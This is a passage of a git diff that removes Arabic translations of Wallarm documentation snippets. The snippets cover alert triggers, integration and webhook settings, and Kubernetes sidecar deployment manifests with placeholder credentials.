[الهجمات](../../../glossary-en.md#attack)، [الضربات](../../../glossary-en.md#hit) أو الحوادث لكل فترة زمنية (يوم، ساعة، إلخ.) يتجاوز العدد المحدد - - !!! info "ما لا يُحسب" - * بالنسبة للهجمات: - * الهجمات التجريبية المبنية على [التعبيرات العادية المخصصة](../../../user-guides/rules/regex-rule.md). - * بالنسبة للضربات: - * الضربات التجريبية المبنية على [التعبيرات العادية المخصصة](../../../user-guides/rules/regex-rule.md). - * الضربات التي لم يتم حفظها في [العينة](../../events/analyze-attack.md#sampling-of-hits). - -* IP مدرج في القائمة السوداء -* [التغييرات في الAPI](../../about-wallarm/api-discovery.md#tracking-changes-in-api) -* إضافة المستخدم - -### الخطوة 2: إضافة مرشحات - -تُستخدم المرشحات لتفصيل الشرط. المرشحات المتاحة هي: - -* **النوع** هو [نوع](../../attacks-vulns-list.md) الهجمة المكتشفة في الطلب أو نوع الضعف الذي يُوجه إليه الطلب. -* **التطبيق** هو [التطبيق](../settings/applications.md) الذي يتلقى الطلب أو الذي يُكتشف فيه الحادث. -* **IP** هو عنوان IP الذي يُرسل منه الطلب. - - يتوقع المرشح عناوين IP فردية فقط، ولا يسمح بالشبكات الفرعية أو المواقع أو أنواع المصادر. -* **النطاق** هو النطاق الذي يتلقى الطلب أو الذي يُكتشف فيه الحادث. -* **حالة الاستجابة** هو رمز الرد الذي يُعاد إلى الطلب. -* **الهدف** هو جزء من بنية التطبيق الذي يُوجه إليه الهجوم أو الذي يُكتشف فيه الحادث. يمكن أن يأخذ القيم التالية: `الخادم`، `العميل`، `قاعدة البيانات`. - -اختر مرشحًا أو أكثر في واجهة مستخدم Wallarm وحدد قيم لها. - -### الخطوة 3: اختيار التكامل - -في هذه الخطوة تختار التكامل الذي من خلاله يجب إرسال الإشعار المختار. يمكنك اختيار عدة تكاملات في آنٍ واحد. - -![اختيار تكامل](../../images/user-guides/triggers/select-integration.png) - -### الخطوة 4: حفظ المشغل - -1. انقر على زر **إنشاء** في النافذة المنبثقة لإنشاء المشغل. -2. اختياريًا، حدد اسم المشغل ووصفه وانقر على زر **تم**. - -إذا لم يتم تحديد اسم ووصف المشغل، يُنشأ المشغل بالاسم `مشغل جديد بواسطة <اسم المستخدم>, <تاريخ الإنشاء>` وبوصف فارغ. \ No newline at end of file diff --git a/include-ar/integrations/integrations-trigger-setup.md b/include-ar/integrations/integrations-trigger-setup.md deleted file mode 100644 index 2295c2d580..0000000000 --- a/include-ar/integrations/integrations-trigger-setup.md +++ /dev/null @@ -1,19 +0,0 @@ -بالإضافة إلى الإشعارات التي قمت بإعدادها من خلال بطاقة التكامل، تتيح لك مُشغلات Wallarm اختيار أحداث إضافية للإشعارات: - -* عدد [الهجمات](../../../glossary-en.md#attack)، [الضربات](../../../glossary-en.md#hit) أو الحوادث في فترة زمنية محددة (يوم، ساعة، إلخ.) يتجاوز العدد المُحدد - - !!! info "ما لا يُحتسب" - * بالنسبة للهجمات: - * الهجمات التجريبية المستندة إلى [التعبيرات النظامية المخصصة](../../../user-guides/rules/regex-rule.md). - * بالنسبة للضربات: - * الضربات التجريبية المستندة إلى [التعبيرات النظامية المخصصة](../../../user-guides/rules/regex-rule.md). - * الضربات التي لم يتم حفظها في [العينة](../../events/analyze-attack.md#sampling-of-hits). - -* [حدثت تغييرات في API](../../../api-discovery/track-changes.md) -* تم إدراج عنوان IP في [القائمة السوداء](../../../user-guides/ip-lists/overview.md) -* تم اكتشاف [API مارق](../../../api-discovery/rogue-api.md) (ظل، يتيم، زومبي) جديد -* تم إضافة مستخدم جديد إلى حساب الشركة - -لتفاصيل الشرط، يمكنك إضافة واحد أو أكثر من الفلاتر. بمجرد تحديد الشرط والفلاتر، حدد التكامل الذي من خلاله يجب إرسال الإشعار المختار. يمكنك اختيار عدة تكاملات في آن واحد. - -![اختيار تكامل](../../../images/user-guides/triggers/select-integration.png) \ No newline at end of file diff --git a/include-ar/integrations/remove-integration.md b/include-ar/integrations/remove-integration.md deleted file mode 100644 index f6a7065ddb..0000000000 --- a/include-ar/integrations/remove-integration.md +++ /dev/null @@ -1,7 +0,0 @@ -لإيقاف إرسال التقارير والإشعارات بشكل دائم، يمكنك حذف الربط. لا يمكن التراجع عن حذف الربط. سيتم إزالة الربط من القائمة نهائيًا. - -1. اذهب إلى وحدة تحكم Wallarm → **الروابط** في السحابة [الأمريكية](https://us1.my.wallarm.com/integrations/) أو [الأوروبية](https://my.wallarm.com/integrations/). -2. افتح الربط وانقر على **حذف**. -3. أكد العمل. - -حذف الربط هو حدث في النظام. إذا كنت تتلقى إشعارات النظام، سيتم إرسال رسائل عن الربط المحذوف إلى [النظام المُعد](integrations-intro.md#integration-types). \ No newline at end of file diff --git a/include-ar/integrations/test-integration-advanced-data.md b/include-ar/integrations/test-integration-advanced-data.md deleted file mode 100644 index a2e0a6eef0..0000000000 --- a/include-ar/integrations/test-integration-advanced-data.md +++ /dev/null @@ -1,13 +0,0 @@ -تسمح اختبارات التكامل بفحص صحة التهيئة، وتوفر سحابة Wallarm، وتنسيق الإشعارات. لاختبار التكامل، يمكنك استخدام الزر **اختبار التكامل** عند إنشاء أو تعديل التكامل. - -يتم فحص التكامل كالتالي: - -* يتم إرسال الإشعارات الاختبارية ببادئة `[Test message]` إلى النظام المختار. -* تغطي الإشعارات الاختبارية الأحداث التالية (كل حدث في سجل منفصل): - - * مستخدم جديد في حساب الشركة - * ضربة مكتشفة حديثًا - * IP مكتشف حديثًا في نطاق الشركة - * مشغل جديد في حساب الشركة - * ثغرة أمنية مكتشفة حديثًا -* تتضمن الإشعارات الاختبارية بيانات اختبار. \ No newline at end of file diff --git a/include-ar/integrations/test-integration-basic-data.md b/include-ar/integrations/test-integration-basic-data.md deleted file mode 100644 index e21e61830a..0000000000 --- a/include-ar/integrations/test-integration-basic-data.md +++ /dev/null @@ -1,12 +0,0 @@ -تتيح اختبارات التكامل التحقق من صحة التكوين، وتوافر سحابة Wallarm، وتنسيق الإخطارات. لاختبار التكامل، يمكنك استخدام زر **اختبار التكامل** عند إنشاء التكامل أو تعديله. - -يتم اختبار التكامل على النحو التالي: - -* يتم إرسال إخطارات الاختبار بالبادئة `[Test message]` إلى النظام المختار. -* تغطي إخطارات الاختبار الأحداث التالية (كل في سجل منفصل): - - * مستخدم جديد في حساب الشركة - * اكتشاف عنوان IP جديد في نطاق الشركة - * إنشاء مشغل جديد في حساب الشركة - * اكتشاف ثغرة أمنية جديدة -* تشتمل إخطارات الاختبار على بيانات اختبار. \ No newline at end of file diff --git a/include-ar/integrations/test-integration-with-email.md b/include-ar/integrations/test-integration-with-email.md deleted file mode 100644 index db22a249ee..0000000000 --- a/include-ar/integrations/test-integration-with-email.md +++ /dev/null @@ -1,11 +0,0 @@ -يسمح اختبار التكامل بفحص صحة الإعدادات، وتوافر Wallarm Cloud، وتنسيق الإشعارات. لاختبار التكامل، يمكنك استخدام الزر **اختبار التكامل** عند إنشاء أو تعديل التكامل. - -يتم اختبار التكامل على النحو التالي: - -* يتم إرسال الإشعارات الاختبارية بالبادئة `[رسالة اختبار]` إلى النظام المختار. -* تغطي الإشعارات الاختبارية الأحداث التالية (كل في تسجيل منفصل): - - * مستخدم جديد في حساب الشركة - * IP مكتشف حديثًا في نطاق الشركة - * ثغرة أمنية مكتشفة حديثًا -* تشمل الإشعارات الاختبارية بيانات اختبارية. \ No newline at end of file diff --git a/include-ar/integrations/update-integration.md b/include-ar/integrations/update-integration.md deleted file mode 100644 index 4acee68a9a..0000000000 --- a/include-ar/integrations/update-integration.md +++ /dev/null @@ -1,5 +0,0 @@ -لتحديث إعدادات التكامل النشط: - -1. انتقل إلى وحدة تحكم Wallarm → **التكاملات** في سحابة [الولايات المتحدة](https://us1.my.wallarm.com/integrations/) أو [الاتحاد الأوروبي](https://my.wallarm.com/integrations/). -2. افتح تكاملًا نشطًا. -3. أجر التغييرات المطلوبة وانقر على **حفظ**. \ No newline at end of file diff --git a/include-ar/integrations/webhook-advanced-settings.md b/include-ar/integrations/webhook-advanced-settings.md deleted file mode 100644 index f1d2233e4c..0000000000 --- a/include-ar/integrations/webhook-advanced-settings.md +++ /dev/null @@ -1,7 +0,0 @@ -* **طريقة الطلب**: `POST` أو `PUT`. بشكل افتراضي، يتم إرسال طلبات POST. -* **رأس الطلب** وقيمته إذا كان الخادم يتطلب رأس غير قياسي لتنفيذ الطلب. عدد الرؤوس غير محدود. -* **شهادة الCA**: شهادة الCA التي قامت بتوقيع شهادة الخادم. إذا كانت الCA موثوقة علنًا، يكون هذا الحقل اختياريًا. إذا كانت شهادة الخادم موقعة ذاتيًا، يكون هذا الحقل مطلوبًا ويجب أن يحتوي على شهادة CA الخاصة بك التي وقعت على شهادة الخادم. -* **التحقق من شهادة TLS**: تسمح هذه الإعداد بتعطيل التحقق من شهادة الخادم المحددة. بشكل افتراضي، تتحقق Wallarm مما إذا كانت شهادة الخادم موقعة من قبل CA موثوق بها علنًا. نحن لا نوصي بتعطيل التحقق من شهادات الخادم الإنتاجية. إذا كان خادمك يستخدم شهادة TLS موقعة ذاتيًا، يمكنك إضافة شهادة CA موقعة ذاتيًا للسماح بإرسال الطلبات إلى هذا الخادم. -* **مهلة الطلب، بالثواني**: إذا لم يستجب الخادم للطلب في الوقت المحدد، يفشل الطلب. الافتراضي: 15 ثانية. -* **مهلة الاتصال، بالثواني**: إذا لم يتم إمكانية إقامة الاتصال بالخادم خلال الوقت المحدد، يفشل الطلب. الافتراضي: 20 ثانية. -* تنسيق بيانات Wallarm: إما مصفوفة JSON (افتراضي) أو JSON محدد بسطر جديد (NDJSON). \ No newline at end of file diff --git a/include-ar/integrations/webhook-examples/create-fluentd-webhook.md b/include-ar/integrations/webhook-examples/create-fluentd-webhook.md deleted file mode 100644 index 1398ceacfb..0000000000 --- a/include-ar/integrations/webhook-examples/create-fluentd-webhook.md +++ /dev/null @@ -1,4 +0,0 @@ -* تُرسل الوِبهوك إلى `https://fluentd-example-domain.com` -* تُرسل الوِبهوك عبر طلبات POST -* تتضمن تكامل الوِبهوك إعدادات متقدمة افتراضية -* الوِبهوك المُرسلة إلى عناوين URL الخاصة بالوِبهوك متوفرة لجميع الأحداث: الضربات، الأحداث النظامية، الثغرات، تغيرات النطاق \ No newline at end of file diff --git a/include-ar/integrations/webhook-examples/create-logstash-webhook.md b/include-ar/integrations/webhook-examples/create-logstash-webhook.md deleted file mode 100644 index 66a896230a..0000000000 --- a/include-ar/integrations/webhook-examples/create-logstash-webhook.md +++ /dev/null @@ -1,4 +0,0 @@ -* يتم إرسال الويبهوكس إلى `https://logstash.example.domain.com` -* يتم إرسال الويبهوكس عبر طلبات POST -* لدمج الويبهوك إعدادات متقدمة افتراضية -* الويبهوكس المرسلة إلى عناوين URL للويبهوك متوفرة في جميع الأحداث: الضربات، الأحداث النظامية، الثغرات الأمنية، تغييرات النطاق \ No newline at end of file diff --git a/include-ar/integrations/webhook-examples/overview.md b/include-ar/integrations/webhook-examples/overview.md deleted file mode 100644 index 704f957fc3..0000000000 --- a/include-ar/integrations/webhook-examples/overview.md +++ /dev/null @@ -1,4 +0,0 @@ -أكثر أنظمة التسجيل شيوعًا في الأنظمة المعقدة يتألف من المكونات التالية: - -* جامع البيانات: يقبل السجلات من مصادر عدة ويوجه السجلات إلى نظام SIEM -* [نظام SIEM](https://www.wallarm.com/what/siem-whats-security-information-and-event-management-technology-part-1) أو أنظمة إدارة السجلات: تُستخدم لتحليل السجلات ومراقبة حالة النظام \ No newline at end of file diff --git a/include-ar/integrations/webhook-examples/send-test-webhook.md b/include-ar/integrations/webhook-examples/send-test-webhook.md deleted file mode 100644 index 7361a0f963..0000000000 --- a/include-ar/integrations/webhook-examples/send-test-webhook.md +++ /dev/null @@ -1,3 +0,0 @@ -لتجربة الإعداد، يُضاف مستخدم جديد في وحدة التحكم لـWallarm: - -![إضافة مستخدم](../../../../images/user-guides/settings/integrations/webhook-examples/adding-user.png) \ No newline at end of file diff --git a/include-ar/issue-with-gpg-keys.md b/include-ar/issue-with-gpg-keys.md deleted file mode 100644 index 817097a86c..0000000000 --- a/include-ar/issue-with-gpg-keys.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! warning "مشكلة في مفاتيح GPG الخاصة بـCentOS" - إذا كنت قد أضفت مستودع Wallarm مسبقًاوواجهت خطأً يتعلق بصحة مفاتيح GPG الخاصة بـCentOS، يرجى اتباع الخطوات التالية: - - 1. أزل المستودع المضاف باستخدام الأمر `yum remove wallarm-node-repo`. - 2. أضف المستودع باستخدام الأمر المناسب من اللسان العلوي المذكور أعلاه. - - رسائل الخطأ المحتملة: - - * `https://repo.wallarm.com/centos/wallarm-node/7/2.14/x86_64/repodata/repomd.xml: [Errno -1] تعذر التحقق من توقيع repomd.xml لـ wallarm-node_2.14` - * `فشل أحد المستودعات المُعدَّة (Wallarm Node لـ CentOS 7 - 2.14)، ولا يمتلك yum بيانات مخبأة كافية للمتابعة.` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/deployment-template.md b/include-ar/kubernetes-sidecar-container/deployment-template.md deleted file mode 100644 index 04b6692a74..0000000000 --- a/include-ar/kubernetes-sidecar-container/deployment-template.md +++ /dev/null @@ -1,26 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # تعريف حاوية التطبيق الرئيسية الخاصة بك - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # البورت الذي تقبل فيه حاوية التطبيق الطلبات الواردة - - containerPort: 8080 -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-3.0.md b/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-3.0.md deleted file mode 100644 index c13d4ab715..0000000000 --- a/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-3.0.md +++ /dev/null @@ -1,60 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - annotations: - # عنصر من Wallarm: تعليق لتحديث الحاويات الجارية بعد تغيير خريطة تهيئة Wallarm - checksum/config: '{{ include (print $.Template.BasePath "/wallarm-sidecar-configmap.yaml") . | sha256sum }}' - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # عنصر من Wallarm: تعريف حاوية الوكيل الجانبية لـ Wallarm - - name: wallarm - image: {{ .Values.wallarm.image.repository }}:{{ .Values.wallarm.image.tag }} - imagePullPolicy: {{ .Values.wallarm.image.pullPolicy | quote }} - env: - - name: WALLARM_API_HOST - value: {{ .Values.wallarm.wallarm_host_api | quote }} - - name: DEPLOY_USER - value: {{ .Values.wallarm.deploy_username | quote }} - - name: DEPLOY_PASSWORD - value: {{ .Values.wallarm.deploy_password | quote }} - - name: DEPLOY_FORCE - value: "true" - - name: TARANTOOL_MEMORY_GB - value: {{ .Values.wallarm.tarantool_memory_gb | quote }} - ports: - - name: http - # المنفذ الذي تقبل فيه حاوية الوكيل الجانبية لـ Wallarm الطلبات من كائن الخدمة - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # تعريف حاوية التطبيق الرئيسية الخاصة بك - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # المنفذ الذي تقبل فيه حاوية التطبيق الطلبات الواردة - - containerPort: 8080 - volumes: - # عنصر من Wallarm: تعريف وحدة التخزين wallarm-nginx-conf - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-latest.md b/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-latest.md deleted file mode 100644 index 3186b4366a..0000000000 --- a/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-helm-latest.md +++ /dev/null @@ -1,59 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - annotations: - # عنصر Wallarm: تعليق لتحديث الحاويات الجارية بعد تغيير خريطة تكوين Wallarm - checksum/config: '{{ include (print $.Template.BasePath "/wallarm-sidecar-configmap.yaml") . | sha256sum }}' - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # عنصر Wallarm: تعريف حاوية Wallarm الجانبية - - name: wallarm - image: {{ .Values.wallarm.image.repository }}:{{ .Values.wallarm.image.tag }} - imagePullPolicy: {{ .Values.wallarm.image.pullPolicy | quote }} - env: - - name: WALLARM_API_HOST - value: {{ .Values.wallarm.wallarm_host_api | quote }} - - name: WALLARM_API_TOKEN - value: {{ .Values.wallarm.wallarm_api_token | quote }} - - name: DEPLOY_FORCE - value: "true" - - name: TARANTOOL_MEMORY_GB - value: {{ .Values.wallarm.tarantool_memory_gb | quote }} - ports: - - name: http - # البوابة التي يقبل عليها حاوية Wallarm الجانبية الطلبات - # من كائن الخدمة - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # تعريف حاوية تطبيقك الرئيسية - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # البوابة التي تقبل عليها حاوية التطبيق الواردة الطلبات - - containerPort: 8080 - volumes: - # عنصر Wallarm: تعريف مجلد تكوين nginx الخاص بـWallarm - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-helm.md b/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-helm.md deleted file mode 100644 index 47b49fff3e..0000000000 --- a/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-helm.md +++ /dev/null @@ -1,63 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - annotations: - # عنصر Wallarm: تعليق توضيحي لتحديث الحاويات الجارية بعد تغيير خريطة تكوين Wallarm - checksum/config: '{{ include (print $.Template.BasePath "/wallarm-sidecar-configmap.yaml") . | sha256sum }}' - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # عنصر Wallarm: تعريف حاوية Wallarm الجانبية - - name: wallarm - image: {{ .Values.wallarm.image.repository }}:{{ .Values.wallarm.image.tag }} - imagePullPolicy: {{ .Values.wallarm.image.pullPolicy | quote }} - env: - - name: WALLARM_API_HOST - value: {{ .Values.wallarm.wallarm_host_api | quote }} - - name: DEPLOY_USER - value: {{ .Values.wallarm.deploy_username | quote }} - - name: DEPLOY_PASSWORD - value: {{ .Values.wallarm.deploy_password | quote }} - - name: DEPLOY_FORCE - value: "true" - - name: WALLARM_ACL_ENABLE - value: "true" - - name: TARANTOOL_MEMORY_GB - value: {{ .Values.wallarm.tarantool_memory_gb | quote }} - ports: - - name: http - # البوابة التي تقبل عليها حاوية Wallarm الجانبية الطلبات - # من كائن الخدمة - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # تعريف حاوية التطبيق الرئيسي الخاص بك - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # البوابة التي تقبل عليها حاوية التطبيق الواردة الطلبات - - containerPort: 8080 - volumes: - # عنصر Wallarm: تعريف مجلد تكوين wallarm-nginx-conf - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-2.18.md b/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-2.18.md deleted file mode 100644 index c6a867027a..0000000000 --- a/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-2.18.md +++ /dev/null @@ -1,67 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # عنصر Wallarm: تعريف حاوية القطعة الجانبية Wallarm - - name: wallarm - image: wallarm/node:2.18.1-5 - imagePullPolicy: Always - env: - # نقطة نهاية واجهة برمجة تطبيقات Wallarm: - # "api.wallarm.com" للسحابة الأوروبية - # "us1.api.wallarm.com" للسحابة الأمريكية - - name: WALLARM_API_HOST - value: "api.wallarm.com" - # اسم المستخدم للمستخدم بدور النشر - - name: DEPLOY_USER - value: "username" - # كلمة المرور للمستخدم بدور النشر - - name: DEPLOY_PASSWORD - value: "password" - - name: DEPLOY_FORCE - value: "true" - # ما إذا كان سيتم تفعيل وظيفة حظر الآي بي - - name: WALLARM_ACL_ENABLE - value: "true" - # كمية الذاكرة بالجيجابايت لبيانات تحليلات الطلبات - - name: TARANTOOL_MEMORY_GB - value: "2" - ports: - - name: http - # المنفذ الذي تقبل عليه حاوية القطعة الجانبية Wallarm الطلبات - # من كائن الخدمة - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # تعريف حاوية التطبيق الرئيسية الخاصة بك - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # المنفذ الذي تقبل عليه حاوية التطبيق الطلبات الواردة - - containerPort: 8080 - volumes: - # عنصر Wallarm: تعريف وحدة التخزين wallarm-nginx-conf - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.0.md b/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.0.md deleted file mode 100644 index 8b64d76ddc..0000000000 --- a/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.0.md +++ /dev/null @@ -1,64 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # عنصر Wallarm: تعريف حاوية جانبية لـ Wallarm - - name: wallarm - image: wallarm/node:3.0.0-3 - imagePullPolicy: Always - env: - # نقطة نهاية واجهة برمجة التطبيقات لـ Wallarm: - # "api.wallarm.com" للسحابة الأوروبية - # "us1.api.wallarm.com" للسحابة الأمريكية - - name: WALLARM_API_HOST - value: "api.wallarm.com" - # اسم المستخدم للمستخدم بدور النشر - - name: DEPLOY_USER - value: "username" - # كلمة مرور المستخدم بدور النشر - - name: DEPLOY_PASSWORD - value: "password" - - name: DEPLOY_FORCE - value: "true" - # كمية الذاكرة بالجيجابايت لتحليلات بيانات الطلب - - name: TARANTOOL_MEMORY_GB - value: "2" - ports: - - name: http - # المنفذ الذي تقبل عليه حاوية Wallarm الجانبية الطلبات - # من كائن الخدمة - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # تعريف حاوية تطبيقك الرئيسية - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # المنفذ الذي تقبل عليه حاوية التطبيق الواردة الطلبات - - containerPort: 8080 - volumes: - # عنصر Wallarm: تعريف وحدة التخزين wallarm-nginx-conf - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.2.md b/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.2.md deleted file mode 100644 index 634e586407..0000000000 --- a/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.2.md +++ /dev/null @@ -1,64 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # عنصر Wallarm: تعريف حاوية الوسيطة لـ Wallarm - - name: wallarm - image: wallarm/node:3.2.1-1 - imagePullPolicy: Always - env: - # نقطة نهاية واجهة برمجة تطبيقات Wallarm: - # "api.wallarm.com" للسحابة الأوروبية - # "us1.api.wallarm.com" للسحابة الأمريكية - - name: WALLARM_API_HOST - value: "api.wallarm.com" - # اسم المستخدم للمستخدم له دور الانتشار - - name: DEPLOY_USER - value: "username" - # كلمة مرور المستخدم له دور الانتشار - - name: DEPLOY_PASSWORD - value: "password" - - name: DEPLOY_FORCE - value: "true" - # الكمية من الذاكرة بجيجابايت لبيانات تحليلات الطلبات - - name: TARANTOOL_MEMORY_GB - value: "2" - ports: - - name: http - # الباب الذي تقبل حاوية الوسيطة لـ Wallarm الطلبات من خلاله - # من عنصر الخدمة - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # تعريف حاوية تطبيقك الرئيسية - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # الباب الذي تقبل حاوية التطبيق الواردات الطلبات من خلاله - - containerPort: 8080 - volumes: - # عنصر Wallarm: تعريف حجم wallarm-nginx-conf - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.6.md b/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.6.md deleted file mode 100644 index 2c220871ac..0000000000 --- a/include-ar/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.6.md +++ /dev/null @@ -1,64 +0,0 @@ -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # عنصر Wallarm: تعريف حاوية جانبية لـ Wallarm - - name: wallarm - image: wallarm/node:3.6.2-1 - imagePullPolicy: Always - env: - # نقطة نهاية API لـ Wallarm: - # "api.wallarm.com" للسحابة الأوروبية - # "us1.api.wallarm.com" للسحابة الأمريكية - - name: WALLARM_API_HOST - value: "api.wallarm.com" - # اسم المستخدم للمستخدم ذو دور النشر - - name: DEPLOY_USER - value: "username" - # كلمة مرور المستخدم ذو دور النشر - - name: DEPLOY_PASSWORD - value: "password" - - name: DEPLOY_FORCE - value: "true" - # كمية الذاكرة بالجيجابايت لبيانات تحليل الطلبات - - name: TARANTOOL_MEMORY_GB - value: "2" - ports: - - name: http - # المنفذ الذي تقبل فيه الحاوية الجانبية لـ Wallarm الطلبات - # من كائن الخدمة - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # تعريف حاوية التطبيق الرئيسي الخاص بك - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # المنفذ الذي تقبل فيه حاوية التطبيق طلبات الواردة - - containerPort: 8080 - volumes: - # عنصر Wallarm: تعريف حجم wallarm-nginx-conf - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/service-template-manifest.md b/include-ar/kubernetes-sidecar-container/service-template-manifest.md deleted file mode 100644 index 83a91edbec..0000000000 --- a/include-ar/kubernetes-sidecar-container/service-template-manifest.md +++ /dev/null @@ -1,17 +0,0 @@ -``` -apiVersion: v1 -kind: Service -metadata: - name: myapp - labels: - run: myapp -spec: - type: NodePort - ports: - - port: 80 - targetPort: 8080 - protocol: TCP - name: http - selector: - run: myapp -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/service-template-sidecar-port-manifest.md b/include-ar/kubernetes-sidecar-container/service-template-sidecar-port-manifest.md deleted file mode 100644 index bf54dbb04e..0000000000 --- a/include-ar/kubernetes-sidecar-container/service-template-sidecar-port-manifest.md +++ /dev/null @@ -1,10 +0,0 @@ -``` -... - ports: - - port: 80 - targetPort: 80 - protocol: TCP - name: http - selector: - run: myapp -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/service-template-sidecar-port.md b/include-ar/kubernetes-sidecar-container/service-template-sidecar-port.md deleted file mode 100644 index 948abd49a1..0000000000 --- a/include-ar/kubernetes-sidecar-container/service-template-sidecar-port.md +++ /dev/null @@ -1,8 +0,0 @@ -``` -... - - port: {{ .Values.service.port }} - # منفذ حاوية الخادم الوكيل لـWallarm؛ - # يجب أن تكون القيمة مطابقة لـports.containerPort - # في تعريف حاوية الخادم الوكيل لـWallarm - targetPort: 80 -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/service-template.md b/include-ar/kubernetes-sidecar-container/service-template.md deleted file mode 100644 index 9c9d1db119..0000000000 --- a/include-ar/kubernetes-sidecar-container/service-template.md +++ /dev/null @@ -1,15 +0,0 @@ -``` -apiVersion: v1 -kind: Service -metadata: - name: myapp -spec: - selector: - app: myapp - ports: - - port: {{ .Values.service.port }} - # منفذ حاوية الجانبية لـ Wallarm؛ - # يجب أن تكون القيمة مطابقة لـ ports.containerPort - # في تعريف حاوية الجانبية لـ Wallarm - targetPort: 8080 -``` \ No newline at end of file diff --git a/include-ar/kubernetes-sidecar-container/test-sidecar-container-in-kubernetes.md b/include-ar/kubernetes-sidecar-container/test-sidecar-container-in-kubernetes.md deleted file mode 100644 index 148481d933..0000000000 --- a/include-ar/kubernetes-sidecar-container/test-sidecar-container-in-kubernetes.md +++ /dev/null @@ -1,19 +0,0 @@ -1. استخدم الأمر التالي للحصول على قائمة الحاويات: - - ``` - kubectl get pods - ``` - - يجب أن يزداد عدد الحاويات داخل الحاوية،ويجب أن يكون حالة الحاوية **جاري 